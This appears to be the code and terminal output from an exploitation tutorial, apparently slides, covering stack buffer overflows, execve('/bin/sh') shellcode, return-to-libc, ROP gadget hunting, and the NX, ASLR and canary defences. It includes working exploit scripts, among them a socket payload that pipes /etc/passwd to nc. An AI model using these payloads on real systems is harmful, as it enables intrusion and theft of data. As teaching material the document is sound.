void g(int param) { int buff[2]; int an_int; } void f() { g(0xbeefbeef); }
#include <stdio.h> int zero = 0; int main(int argc, char *argv[]) { char buffer[5]; gets(buffer); if (zero == 0) return 0; printf("Code never reached"); return 0; }
[maciek@pc ~]$ ./test abcdefghijklmnoprst Program received signal SIGSEGV, Segmentation fault.
[maciek@pc ~]$ perl -e ‘print “\x77”x(5+8+4) .“\x41\x84\x04\x08”’ > input [maciek@pc ~]$ ./test < input Code never reached Program received signal SIGSEGV, Segmentation fault.
Before overflow - raw data
Before overflow
After overflow
0804841c <main>: 804841c: 55 push %ebp 804841d: 89 e5 mov %esp,%ebp 804841f: 83 e4 f0 and $0xfffffff0,%esp 8048422: 83 ec 20 sub $0x20,%esp 8048425: 8d 44 24 1b lea 0x1b(%esp),%eax 8048429: 89 04 24 mov %eax,(%esp) 804842c: e8 cf fe ff ff call 8048300 <gets@plt> 8048431: a1 00 97 04 08 mov 0x8049700,%eax 8048436: 85 c0 test %eax,%eax 8048438: 75 07 jne 8048441 <main+0x25> 804843a: b8 00 00 00 00 mov $0x0,%eax 804843f: eb 11 jmp 8048452 <main+0x36> 8048441: c7 04 24 f4 84 04 08 movl $0x80484f4,(%esp) 8048448: e8 a3 fe ff ff call 80482f0 <printf@plt> 804844d: b8 00 00 00 00 mov $0x0,%eax 8048452: c9 leave 8048453: c3 ret
#include <stdio.h> FILE* f; int main(int argc, char *argv[]) { char buffer[100]; f = fopen("input", "r"); fread(&buffer, 1, 200, f); // Oops! return 0; }
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # nop sled "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x48\x83\xec\x18\xc7\x04\x24\x2f\x62\x69" # shellcode "\x6e\xc7\x44\x24\x04\x2f\x73\x68\x4e\xc7" "\x44\x24\x08\x41\x41\x41\x41\xc7\x44\x24" "\x0c\x41\x41\x41\x41\xc7\x44\x24\x10\x42" "\x42\x42\x42\xc7\x44\x24\x14\x42\x42\x42" "\x42\x48\x31\xc0\x48\x89\xe7\x88\x47\x07" "\x48\x89\x7f\x08\x48\x89\x47\x10\xb0\x3b" "\x48\x8d\x77\x08\x48\x8d\x57\x10\x0f\x05" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" # nop "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x00\xdf\xff\xff\xff\x7f" # return address
;shellcode.asm [SECTION .text] global _start _start: sub rsp, 24 ; allocate 24 bytes on stack mov dword [rsp ], '/bin' ; push '/bin/sh' string mov dword [rsp+ 4], '/shN' mov dword [rsp+ 8], 'AAAA' ; execve 1st argument mov dword [rsp+12], 'AAAA' mov dword [rsp+16], 'BBBB' ; execve 2nd argument mov dword [rsp+20], 'BBBB' xor rax, rax ; clear rax mov rdi, rsp ; load 1st argument - program to execute mov [rdi+7 ], al ; put a NULL where the N is in the string mov [rdi+8 ], rdi ; put the address of the string to where the AAAAAAAA is mov [rdi+16], rax ; put 8 null bytes into place where the BBBBBBBB is mov al, 0x3b ; execve is syscall 0x3b lea rsi, [rdi+8] ; load 2nd argument - the address of where the AAAAAAAA was lea rdx, [rdi+16] ; load 3rd argument - address of the NULLS syscall ; make the system call
execve("/bin/sh", {"/bin/sh", NULL}, {NULL});
[maciek@pc ~]$ ./shellcode.pl > input [maciek@pc ~]$ ./prog sh-4.2$
#include <stdio.h> int main(int argc, char *argv[]) { unsigned char code[] = { 0x48, 0x83, 0xec, 0x04, // sub $0x4,%rsp 0x48, 0x31, 0xc0, // xor %rax,%rax 0x48, 0x31, 0xff, // xor %rdi,%rdi 0x48, 0x31, 0xd2, // xor %rdx,%rdx 0xc7, 0x04, 0x24, 0x48, 0x69, 0x0a, 0x00, // movl "Hi" ,(%rsp) 0x66, 0xbf, 0x01, 0x00, // mov $0x1,%di 0x48, 0x8d, 0x34, 0x24, // lea (%rsp),%rsi 0x66, 0xba, 0x04, 0x00, // mov $0x4,%dx 0x66, 0xb8, 0x01, 0x00, // mov $0x1,%ax 0x0f, 0x05, // syscall 0x48, 0x83, 0xc4, 0x04, // add $0x4,%rsp 0xc3 // retq }; ( (void (*)()) &code[0])(); return 0; }
[maciek@pc ~]$ gcc -zexecstack -o nx_bit_test_off nx_bit_test.c [maciek@pc ~]$ ./nx_bit_test_off Hi
[maciek@pc ~]$ gcc -o nx_bit_test_on nx_bit_test.c [maciek@pc ~]$ ./nx_bit_test_on Segmentation fault
[maciek@pc ~]$ execstack nx_bit_test_off nx_bit_test_on - nx_bit_test_on X nx_bit_test_off
[maciek@pc ~]$ execstack /usr/bin/* 2>/dev/null| egrep "^X" X /usr/bin/grub2-fstest X /usr/bin/grub2-mkrelpath X /usr/bin/grub2-script-check X /usr/bin/nvidia-cuda-mps-control X /usr/bin/nvidia-cuda-mps-server
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <linux/limits.h> int main(int argc, char *argv[]) { char cfg_file_path[PATH_MAX]; strcpy(cfg_file_path, getenv("HOME")); strcat(cfg_file_path, "/.config"); printf("Using config file: %s\n", cfg_file_path); return 0; }
[maciek@pc ~]$ cat /usr/include/linux/limits.h | grep PATH_MAX #define PATH_MAX 4096 /* # chars in a path name including nul */
[maciek@pc ~]$ export CMD="echo 'Your wish is my command !'"
[maciek@pc ~]$ export HOME=`perl -e 'print "A" x 4108 . > "\xff\xff\xff\xff". > "\xff\xff\xff\xff". > "\xff\xff\xff\xff"'`
[maciek@pc ~]$ setarch x86_64 -R ./prog Using config file: AAAAAAAA...AAAAA????????????/.config Segmentation fault (core dumped)
[maciek@pc ~]$ gdb prog core.4024 [New LWP 4024] Core was generated by './prog'. Program terminated with signal 11, Segmentation fault. #0 0xffffffff in ?? ()
(gdb) p system $1 = {} 0x43dabe50 (gdb) p exit $2 = { } 0x43d9fd30
(gdb) x/10s $esp 0xffffc140: "\377\377\377\377\377\377\377\377/.config" 0xffffc151: "" 0xffffc152: "" 0xffffc153: "" 0xffffc154: "\001" 0xffffc156: ""
0xffffcbee: "CMD=echo 'Your wish is my command !'" 0xffffcbfa: "USERNAME=maciek" 0xffffcc0a: "SESSION_MANAGER=local/unix:@/tmp/.ICE-unix" 0xffffcc58: "MC_TMPDIR=/tmp/mc-maciek" 0xffffcc71: "DESKTOP_SESSION=gnome" 0xffffcc87: "MAIL=/var/spool/mail/maciek"
[maciek@pc ~]$ export HOME=`perl -e 'print "A" x 4108 . > "\x50\xbe\xda\x43". > "\x30\xfd\xd9\x43". > "\xf2\xcb\xff\xff"'`
[maciek@pc ~]$ setarch x86_64 -R ./prog Using config file: AAAAAAAA...AAAAA????????????/.config Your wish is my command !
// ... int main(int argc, char *argv[]) { FILE* f = fopen("input", "r"); // read and check data size unsigned char data_size; fread(&data_size, sizeof(data_size), 1, f); unsigned char total = data_size + HEADER_SIZE; if (total >= MAX_MSG) { fprintf(stderr, "Data to large: %u\n", data_size); exit(0); } // read data char buffer[MAX_MSG] = {0}; printf("Reading %u\n", data_size); fread(buffer+HEADER_SIZE, 1, data_size, f); send(buffer, total); }
[maciek@pc ~]$ objdump -d /usr/lib64/libc.so.6 | less 0000003aaaaf1620 <__clone>: 3aaaaf1620: 48 c7 c0 ea ff ff ff mov $0xffffffffffffffea,%rax 3aaaaf1627: 48 85 ff test %rdi,%rdi 3aaaaf162a: 74 69 je 3aaaaf1695 <__clone+0x75> 3aaaaf162c: 48 85 f6 test %rsi,%rsi 3aaaaf162f: 74 64 je 3aaaaf1695 <__clone+0x75> 3aaaaf1631: 48 83 ee 10 sub $0x10,%rsi # [...] 3aaaaf1688: 00 3aaaaf1689: 58 pop %rax 3aaaaf168a: 5f pop %rdi 3aaaaf168b: ff d0 callq *%rax 3aaaaf168d: 48 89 c7 mov %rax,%rdi # [...]
#!/bin/perl open FILE, ">", "input" or die $!; print FILE "\xf8"."\x55"x(108). "\x89\x16\xaf\xaa\x3a\x00\x00\x00". # clone+105 "\xb0\x17\xa4\xaa\x3a\x00\x00\x00". # system -> eax "\xfc\xeb\xff\xff\xff\x7f\x00\x00"; # CMD -> rdi
[maciek@pc ~]$ echo $CMD /bin/sh [maciek@pc ~]$ setarch x86_64 -R ./prog64 Reading 248 Sending 85 bytes sh-4.2$
// ... int recv_bytes(int conn) { char len = 0; char buffer[100] = {0}; recv(conn, &len, 1, MSG_WAITALL); if (len > 100) { printf("data to large: %d\n", len); return; } printf("length: %d\n", len); recv(conn, buffer, len, MSG_WAITALL); } int main(int argc, char* argv[]) { // ... while (1) { conn = accept(sock, (struct sockaddr*) NULL, NULL); recv_bytes(conn); } }
[maciek@pc ~]$ objdump -d /usr/lib64/libc.so.6 \ > | grep -A1 "lea.*rsp.*rdi" \ > | grep -B1 "call.*\\*%r.x" 3aaaa41578: 48 8d 7c 24 20 lea 0x10(%rsp),%rdi 3aaaa4157d: ff d0 callq *%rax
[maciek@pc ~]$ objdump -d libc.so.6 | grep -A1 "pop.*rax" | grep -B1 retq [maciek@pc ~]$ objdump -d libc.so.6 | grep -A2 "pop.*rax" | grep -B2 retq [maciek@pc ~]$ objdump -d libc.so.6 | grep -A3 "pop.*rax" | grep -B3 retq 3aaaa1f036: 58 pop %rax 3aaaa1f037: 5b pop %rbx 3aaaa1f038: 5d pop %rbp 3aaaa1f039: c3 retq
#!/bin/perl use Socket qw(PF_INET SOCK_STREAM pack_sockaddr_in inet_aton); socket(my $socket, PF_INET, SOCK_STREAM, 0) or die "socket: $!"; connect($socket, pack_sockaddr_in(4321, inet_aton("localhost"))) or die; print $socket "\xff"; # send size print $socket "\x77"x100; # fill buffer print $socket "\x77"x20; # junk print $socket "\x36\xf0\xa1\xaa\x3a\x00\x00\x00"; # ret print $socket "\xb0\x17\xa4\xaa\x3a\x00\x00\x00"; # rax print $socket "\x77"x8; # rbx print $socket "\x77"x8; # rbp print $socket "\x95\xd0\xa6\xaa\x3a\x00\x00\x00"; # ret print $socket "\x77"x8; # junk print $socket "\x77"x8; # junk print $socket "cat /etc/passwd | nc 127.0.0.1 5432\x00";
[maciek@pc ~]$ nc -l 127.0.0.1 5432 & [1] 4169
[maciek@pc ~]$ ./srv & [2] 4170
[maciek@pc ~]$ ./send.pl length: 255 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] tcpdump:x:72:72::/:/sbin/nologin maciek:x:500:500:maciek:/home/maciek:/bin/bash [1]- Done nc -l 127.0.0.1 5432 [2]+ Segmentation fault ./srv [maciek@pc ~]$
[maciek@pc aslr]$ for i in {1..3}; do ldd /sbin/sshd | grep libc.so; done libc.so.6 => /lib64/libc.so.6 (0x00007f29679ee000) libc.so.6 => /lib64/libc.so.6 (0x00007f000139a000) libc.so.6 => /lib64/libc.so.6 (0x00007fd2e7c82000)
[maciek@pc aslr]$ for i in {1..3}; do ldd /usr/bin/firefox-bin | grep libc.so; done libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000) libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000) libc.so.6 => /lib64/libc.so.6 (0x0000003b4bc00000)
Stack guard vs stack layout
#include <stdio.h> void f(); int main(int argc, char* argv[]) { char* p1 = (char*) 1; char a2[2] = {2, 2}; char v3 = 3; char a4[2] = {4, 4}; char v5 = 5; f(); return 0; }
Enabled by compilation flag:
#include <stdio.h> int main(int argc, char* argv[]) { int buffer[10]; buffer[10] = 0xff; return 0; }
[maciek@pc canary]$ objdump -d guard_test_on 000000000040050c <main>: push %rbp mov %rsp,%rbp sub $0x40,%rsp mov %edi,-0x34(%rbp) mov %rsi,-0x40(%rbp) mov %fs:0x28,%rax # move 8 byte guard value # from %fs:0x28 to 8 bytes mov %rax,-0x8(%rbp) # after the local variables xor %eax,%eax movl $0xff,-0x8(%rbp) # array overflow mov $0x0,%eax mov -0x8(%rbp),%rdx # move the pointer from stack xor %fs:0x28,%rdx # compare the %fs:0x28 value # with stored value on stack je 40054a <main+0x3e> # - on success jump to leaveq callq 4003e0 <__stack_chk_fail@plt> # - on failure call __stack_chk_fail leaveq retq nopl 0x0(%rax)
Additional flag added:
Use a spacebar or arrow keys to navigate